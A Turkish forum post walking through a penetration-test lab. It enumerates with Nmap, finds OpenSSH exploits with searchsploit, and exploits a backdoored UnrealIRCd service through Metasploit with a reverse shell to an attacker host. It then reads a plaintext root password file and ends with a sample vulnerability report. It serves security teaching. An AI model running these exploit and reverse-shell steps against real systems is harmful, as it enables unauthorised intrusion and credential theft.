Hoşgeldin Misafir

#PTHM-Yönlendirilmiş Sızma Testi:Altyapı

CW-ommah

17 Ocak 2022
905 Mesaj
TIM Görevleri
1

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde Keşif sırasında elde ettiğin bilgileri analiz etmeyive bunların olası güvenlik açıklarıyla ilişkilendiremeye çalışacağız. Ve genel olarak sisteme sızdık burda bitmedi daha yüksek yetkilere bakacağız ve en sonunda bunları iyi bir şekilde raporlamaya çalışacağız.
Not: Bu senaryodaki örneklerde kullanılan IP adresleri ile herhangi bir iletişime geçmeyin.
Numaralandırma

1780161430912.png

Neden Keşif (Enumeration)?
Tek bir exploit çalıştırmadan veya tek bir parola denemeden önce, karşında ne olduğunu anlaman gerekir. Keşif, her sızma testinin temelidir ve onsuz yaptığın şey sadece tahminde bulunmaktır. Buradaki amaç basittir: herhangi bir hamle yapmadan önce hedef hakkında mümkün olduğunca fazla bilgi edinmek. Hangi portlar açık? Hangi servisler çalışıyor? Bu servislerin arkasında hangi sürümler bulunuyor? Şu anda topladığın her bilgi, daha sonra vereceğin kararları şekillendirir. Aceleyle yapılan keşif çalışmaları fırsatların kaçırılmasına yol açar ve gerçek bir testte bu durum, raporunda önemli bir bulgu ile önemsiz bir dipnot arasındaki farkı belirleyebilir.

Nmap ile Tarama

Hedef sistemi şimdi Nmap ile tarayalım! Daha önce kullandın, ancak artık onu bilinçli ve amaçlı bir şekilde kullanıyorsun.
Kod:
nmap -sV -sC -oN scan.txt 10.114.132.228

Hatırlatma olarak:

  • -sV açık portları analiz ederek arkasında çalışan servisleri ve sürümlerini belirlemeye çalışır.
  • -sC Nmap’in varsayılan script setini çalıştırır. Bu scriptler banner bilgileri, desteklenen kimlik doğrulama yöntemleri ve benzeri ek detayları toplar.
  • -oN scan.txt çıktıyı bir dosyaya kaydeder. Bu alışkanlığı erkenden edin; raporlama aşamasında bunun faydasını göreceksin.
Tarama tamamlandıktan sonra sıra sonuçları incelemeye gelir.
Kod:
root@ip-10-80-79-108:~# nmap -sV -sC -oN scan.txt 10.114.132.228
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-13 11:55 UTC
Nmap scan report for ip-10-80-143-186.eu-west-1.compute.internal (10.80.143.186)
Host is up (0.00041s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 22:e4:61:bd:b9:9e:3b:0c:c2:96:b1:48:2b:0b:c4:4b (ECDSA)
|_  256 9a:d3:c7:4e:1e:dc:97:55:93:3a:2f:12:5f:1a:9b:8d (ED25519)
8889/tcp open  irc     UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.pentest-target.thm
|   version: Unreal5.1.6.1. irc.pentest-target.thm
|   uptime: 0 days, 0:01:46
|   source ident: nmap
|   source host: ip-10-80-79-108.eu-west-1.compute.internal
|_  error: Closing Link: keedrluoh[ip-10-80-79-108.eu-west-1.compute.internal] (Quit: keedrluoh)
Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Güvenlik Açığı Analizi

1780161512477.png
Tarama sonuçlarını elde ettin. Peki şimdi ne olacak?

Çıktıya sadece karmaşık bir metin yığını gibi bakma. Sorular sormaya başla. Bu servis sürümü güncel mi? Bunun için bilinen bir exploit var mı? Bir yanlış yapılandırma söz konusu olabilir mi? Zafiyet analizi aslında, keşif aşamasında elde ettiğin bilgileri kullanarak “Burada ne ters gidebilir?” sorusunu sorma sürecidir.

Nmap çıktın sana iki açık port gösterdi. Buradaki en basit yöntem, servis sürümlerini ve yanına “exploit” anahtar kelimesini ekleyerek Google’da aratmaktır.

Örneğin, “OpenSSH 9.6p1 exploit” şeklinde arama yaptığında teorik ya da belirli dağıtımlara özel bazı exploit sonuçları görebilirsin; ancak uygulanabilir somut bir şey bulamayabilirsin. Bu durumda büyük ihtimalle çıkmaz bir yoldasındır.

Eğer Kali araçlarına aşinaysan, Google kullanmak yerine searchsploit aracını da kullanabilirsin. Searchsploit, terminal üzerinden Exploit-DB’nin çevrimdışı halka açık exploit ve zafiyet veri tabanında arama yapmanı sağlayan komut satırı aracıdır.
Kod:
searchsploit openssh
Kod:
root@ip-10-80-79-108:~# searchsploit openssh
---------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                              |  Path
---------------------------------------------------------------------------- ---------------------------------
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation        | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service          | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution                            | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read                      | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow                          | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite                                  | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration                                    | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                              | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One                           | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow                  | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                        | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                        | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service                  | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation                        | linux/local/41173.c
OpenSSH 7.2 - Denial of Service                                             | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                     | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                        | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution                                | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution                                      | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Soc | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                    | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                        | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files                                  | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident                         | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool                           | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration                                       | linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack                        | multiple/remote/3303.sh
---------------------------------------------------------------------------- ---------------------------------

İlk Erişim

1780161555480.png

Bu noktaya kadar, yazılım içerisine bırakılmış bir arka kapıyı (backdoor) kötüye kullanan bir UnrealIRCd exploit’i bulmuş olman gerekiyor. Şaka şaka bulamadıysan endişelenme, bu süreçte öğrenmenin bir parçasıdır. Kullanacağımız exploit’in güzel tarafı, bunun için bir Metasploit modülünün bulunmasıdır. Bu sayede exploit scriptlerini düzenlemekle uğraşmadan sömürme işlemini çok daha kolay gerçekleştirebiliriz. Şimdi önce Metasploit’i başlatalım.
Kod:
msfconsole
Ardından, ihtiyacımız olan modülü arayın.
Kod:
search unrealircd
Kod:
msf > search unrealircd

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_5161_backdoor  2010-06-12       excellent  No     UnrealIRCD 5.1.6.1 Backdoor Command Execution
Bu listeden, hedef sistemimize karşı önerilen exploit’i kullanabiliriz.
Kod:
use 0
Öncelikle, bu exploit’in çalışması için hangi ayarları yapmamız gerektiğini görmemiz gerekiyor.
Kod:
show options
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show options
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client addres
                                       s
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format
                                        type:host:port[,type:h
                                       ost:port][...]. Support
                                       ed proxies: sapni, sock
                                       s4, socks5, http, socks
                                       5h
   RHOSTS                    yes       The target host(s), see
                                        https://docs.metasploi
                                       t.com/docs/using-metasp
                                       loit/basics/using-metas
                                       ploit.html
   RPORT    8889             yes       The target port (TCP)

Gördüğümüz gibi, henüz ayarlanmamış tek gerekli parametre (Required sütununda işaretli olan) RHOSTS’tur. Bu yüzden bunu hedef makinenin IP adresine ayarlayabiliriz.
Kod:
set RHOSTS 10.114.132.228
Bu exploit’in çalışması için hâlâ bir payload’a ihtiyacımız var. Mevcut payload’ları görmek için show payloads komutunu kullanabiliriz.
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > show payloads

Compatible Payloads
===================
   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                    .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                  .                normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                  .                normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6             .                normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                    .                normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse                    .                normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl    .                normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl               .                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby               .                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl           .                normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet  .                normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Hedefimiz hakkında veya üzerinde hangi yazılımların kurulu olduğu hakkında çok fazla bilgiye sahip olmadığımız için en güvenli seçenek, Unix tabanlı genel bir reverse payload kullanmaktır.
Kod:
set payload cmd/unix/reverse
Şimdi show options komutunu tekrar çalıştırırsak, bu payload için LHOST ve LPORT parametrelerinin gerekli olduğunu göreceğiz.
Kod:
set LHOST 10.114.83.138
Kod:
set LPORT 443
Artık her şey ayarlandığına göre, exploit komutunu kullanarak hedef makineye karşı saldırıyı başlatabiliriz.
Kod:
msf exploit(unix/irc/unreal_ircd_5161_backdoor) > exploit
[*] Started reverse TCP double handler on 10.82.115.225:443
[*] 10.82.184.186:8889 - Connected to 10.82.184.186:8889...
    :irc.pentest-target.thm NOTICE AUTH :*** Looking up your hostname...
[*] 10.82.184.186:8889 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo IpKbSZnM96KvbLgV;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "IpKbSZnM96KvbLgV\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.82.115.225:443 -> 10.82.184.186:53836) at 2026-03-17 07:11:47 +0000

whoami
webmaster
Not: İlk kez bir reverse shell elde ettiğinde, genellikle bu “kısıtlı (dumb)” bir shell olur ve tam terminal özelliklerine sahip değildir — iş kontrolü, sekme tamamlama (tab completion) gibi özellikler yoktur ve en önemlisi su veya sudo gibi komutlar çalışmaz; çünkü bu komutlar şifreyi güvenli şekilde okumak için etkileşimli bir TTY gerektirir.

Shell’i tam bir TTY’ye yükseltmek, bu temel reverse shell’i gerçek bir etkileşimli terminal oturumuna dönüştürür. Bu gerekli bir adımdır çünkü su ve sudo gibi komutlar şifre girişini güvenli şekilde alabilmek için gerçek bir terminal (TTY) ortamına ihtiyaç duyar.

Sömürü Sonrası

1780161771307.png
Yetki Yükseltme
Artık hedef makinede bir başlangıç erişimi elde ettiğimize göre, yetkilerimizi yükseltmenin yollarını kontrol etmemiz gerekiyor.
Kod:
find / -name password* 2>/dev/null
Bu komut, hedef sistemde adında “password” kelimesi geçen tüm dosyaları bulmaya çalışır. 2>/dev/null kısmı ise hata mesajlarını gizler.
Kod:
find / -name password* 2>/dev/null
/boot/grub/i386-pc/password.mod
/boot/grub/i386-pc/password_pbkdf2.mod
/snap/core20/2379/var/lib/pam/password
/snap/core/17272/usr/lib/pppd/2.4.7/passwordfd.so
/snap/core/17272/var/cache/debconf/passwords.dat
/snap/core/17272/var/lib/pam/password
/snap/core18/2999/var/lib/pam/password
/snap/core18/1885/var/lib/pam/password
/snap/core22/1621/var/lib/pam/password
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/etc/password.txt
/var/lib/pam/password
/var/cache/debconf/passwords.dat
Bu dosyaların hepsini inceleyebiliriz, ancak içlerinden biri diğerlerinden daha dikkat çekicidir: /etc/password.txt.
Bunu cat /etc/password.txt komutuyla okuyabiliriz. Neyse ki bu dosya root kimlik bilgilerini içeriyor gibi görünüyor. Etkileşimli bir terminal oturumunda olmadığımız için şifreyi girmek adına su komutunu kullanamayız. Ancak daha önce yaptığımız dış keşiften bu sunucuda bir SSH servisinin çalıştığını biliyoruz. Yeni bir terminal açın ve aşağıdaki komutu çalıştırın:
Raporlama

1780161838039.png
Raporlama konusunu daha sonraki bir bölümde ayrıntılı olarak ele alacak olsak da, bazı noktaların şimdiden belirtilmesi gerekir.
Öncelikle, yaptığınız çalışmadan müşterinin göreceği tek şey raporunuzdur. Tüm ATM’leri ele geçirip bir bankanın domain yöneticisi olduğunuz olağanüstü bir sızma testi yapmış olabilirsiniz; ancak raporunuz kötü ise, bu test de başarısız kabul edilir.
İkinci olarak, tüm profesyonellerin kendi rapor yazma yöntemleri olsa da, bazı genel başlıklar her zaman bulunmalıdır:

  • Bir kapak sayfası: başlık, adınız, e-posta adresiniz ve sürüm kontrol bilgileriyle birlikte
  • İçindekiler tablosu (isteğe bağlı)
  • Talebi yapan yöneticiye yönelik, teknik olmayan bir dille neyin başarıldığını açıklayan bir yönetici özeti
  • Etkiyi anlamaları ve önceliklendirme yapabilmeleri için mühendislik yöneticisine yönelik teknik özet (isteğe bağlı)
  • Bulunan tüm zafiyetlerin ciddiyetine göre sıralandığı bir tablo; hem yöneticilerin hem de mühendislerin önceliklendirme yapabilmesi için
  • Her bir zafiyetin ve etkisinin açıklandığı, istismar adımlarının ve kanıtların gösterildiği ve giderme önerilerinin sunulduğu ayrıntılı istismar bölümü; bu bölüm düzeltme yapacak mühendisler için hazırlanır
Son olarak, yaptığınız işten gurur duyun. Rapor, kendinizi göstereceğiniz ve müşteriye en iyi çalışmanızı sunacağınız bölümdür. Adımları atlamayın ve müşteriye en yüksek değeri sunmak için mümkün olduğunca detaylı olun.
Aşağıdaki örnek, bu senaryoda bulduğumuz yetki yükseltme vektörünün raporlanmış bir bulgusudur:
Başlık: Root Parolasının Düz Metin Olarak Saklanması
Ciddiyet: Kritik
Açıklama: Root kullanıcısının parolası, /etc/password.txt dosyasında düz metin olarak bulunmuştur. Bu dosya düşük yetkili kullanıcılar tarafından okunabilir durumdadır; bu da sisteme shell erişimi olan herhangi bir kullanıcının root kimlik bilgilerini elde ederek sistemi tamamen ele geçirmesine olanak tanır.

İstismar Adımları:

  1. Hedef sistemde düşük yetkili bir shell erişimi elde edin.
  2. cat /etc/password.txt komutuyla dosya içeriğini okuyun.
  3. Bulunan root parolasını kullanarak ssh root@IP üzerinden yetki yükseltin.
Öneri: Düz metin parola dosyası derhal kaldırılmalı ve root parolası değiştirilmelidir. Kimlik bilgileri hiçbir zaman dosya sisteminde düz metin olarak saklanmamalıdır. Güvenli bir “secrets management” çözümü kullanılmalı veya /etc/shadow gibi doğru yapılandırılmış sistem kimlik doğrulama mekanizmaları (güçlü hash’leme ile birlikte) tercih edilmelidir. Ayrıca, dosya erişimlerini kısıtlamak için en az ayrıcalık ilkesi uygulanmalıdır.
1780162048629.png
Okuduğunuz için teşekkür ederim




CW-Ommah
Bug Researchers Tim Sundu...

1780162068096.png